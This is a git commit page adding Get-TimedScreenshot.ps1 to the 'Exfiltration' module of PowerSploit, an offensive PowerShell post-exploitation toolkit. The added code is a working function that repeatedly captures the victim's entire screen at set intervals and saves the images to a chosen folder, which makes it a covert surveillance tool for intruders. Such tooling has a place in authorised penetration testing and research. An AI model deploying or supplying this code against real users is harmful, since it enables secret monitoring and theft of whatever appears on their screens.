aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration/Get-TimedScreenshot.ps1
diff options
context:
space:
mode:
authorbitform <matt@exploit-monday.com>2013-01-20 21:32:41 -0500
committerbitform <matt@exploit-monday.com>2013-01-20 21:32:41 -0500
commitb3bbe03e939f300c07169650b342e0665e578085 (patch)
treef642796a3d163e63eae0c2b9ff523325b21a9d8e /Exfiltration/Get-TimedScreenshot.ps1
parentb53b6a03a5d29a8145dc590d5945b41fe5ae07f7 (diff)
downloadPowerSploit-b3bbe03e939f300c07169650b342e0665e578085.tar.gz
PowerSploit-b3bbe03e939f300c07169650b342e0665e578085.zip
Added 'Exfiltration' Module
Diffstat (limited to 'Exfiltration/Get-TimedScreenshot.ps1')
-rw-r--r--Exfiltration/Get-TimedScreenshot.ps199
1 files changed, 99 insertions, 0 deletions
diff --git a/Exfiltration/Get-TimedScreenshot.ps1 b/Exfiltration/Get-TimedScreenshot.ps1
new file mode 100644
index 0000000..3a19a7d
--- /dev/null
+++ b/Exfiltration/Get-TimedScreenshot.ps1
@@ -0,0 +1,99 @@
+Function Get-TimedScreenshot {
+<#
+.SYNOPSIS
+
+ Get-TimedScreenshot
+
+ Author: Chris Campbell (@obscuresec)
+ License: BSD 3-Clause
+
+.DESCRIPTION
+
+ A function that takes screenshots and saves them to a folder.
+
+.PARAMETER $Path
+
+ Specifies the folder path.
+
+.PARAMETER $Interval
+
+ Specifies the interval in seconds between taking screenshots.
+
+.PARAMETER $EndTime
+
+ Specifies when the script should stop running in the format HH-MM
+
+.EXAMPLE
+
+ PS C:\> Get-TimedScreenshot -Path c:\temp\ -Interval 30 -EndTime 14:00
+
+.LINK
+
+ http://obscuresecurity.blogspot.com/2013/01/Get-TimedScreenshot.html
+ https://github.com/obscuresec/random/blob/master/Get-TimedScreenshot
+
+#>
+
+ [CmdletBinding()] Param(
+ [Parameter(Mandatory=$True)]
+ [ValidateScript({Test-Path -Path $_ })]
+ [string] $Path,
+
+ [Parameter(Mandatory=$True)]
+ [int32] $Interval,
+
+ [Parameter(Mandatory=$True)]
+ [string] $EndTime
+ )
+
+ #Define helper function that generates and saves screenshot
+ Function GenScreenshot {
+ $ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
+ $ScreenshotObject = New-Object Drawing.Bitmap $ScreenBounds.Width, $ScreenBounds.Height
+ $DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject)
+ $DrawingGraphics.CopyFromScreen( $ScreenBounds.Location, [Drawing.Point]::Empty, $ScreenBounds.Size)
+ $DrawingGraphics.Dispose()
+ $ScreenshotObject.Save($FilePath)
+ $ScreenshotObject.Dispose()
+ }
+
+ Try {
+
+ #load required assembly
+ Add-Type -Assembly System.Windows.Forms
+
+ Do {
+ #get the current time and build the filename from it
+ $Time = (Get-Date)
+
+ [string] $FileName = "$($Time.Month)"
+ $FileName += '-'
+ $FileName += "$($Time.Day)"
+ $FileName += '-'
+ $FileName += "$($Time.Year)"
+ $FileName += '-'
+ $FileName += "$($Time.Hour)"
+ $FileName += '-'
+ $FileName += "$($Time.Minute)"
+ $FileName += '-'
+ $FileName += "$($Time.Second)"
+ $FileName += '.png'
+
+ #use join-path to add path to filename
+ [string] $FilePath = (Join-Path $Path $FileName)
+
+ #run screenshot function
+ GenScreenshot
+
+ Write-Verbose "Saved screenshot to $FilePath. Sleeping for $Interval seconds"
+
+ Start-Sleep -Seconds $Interval
+ }
+
+ #note that this will run once regardless if the specified time as passed
+ While ((Get-Date -Format HH:%m) -lt $EndTime)
+ }
+
+ Catch {Write-Warning "$Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage"}
+
+} \ No newline at end of file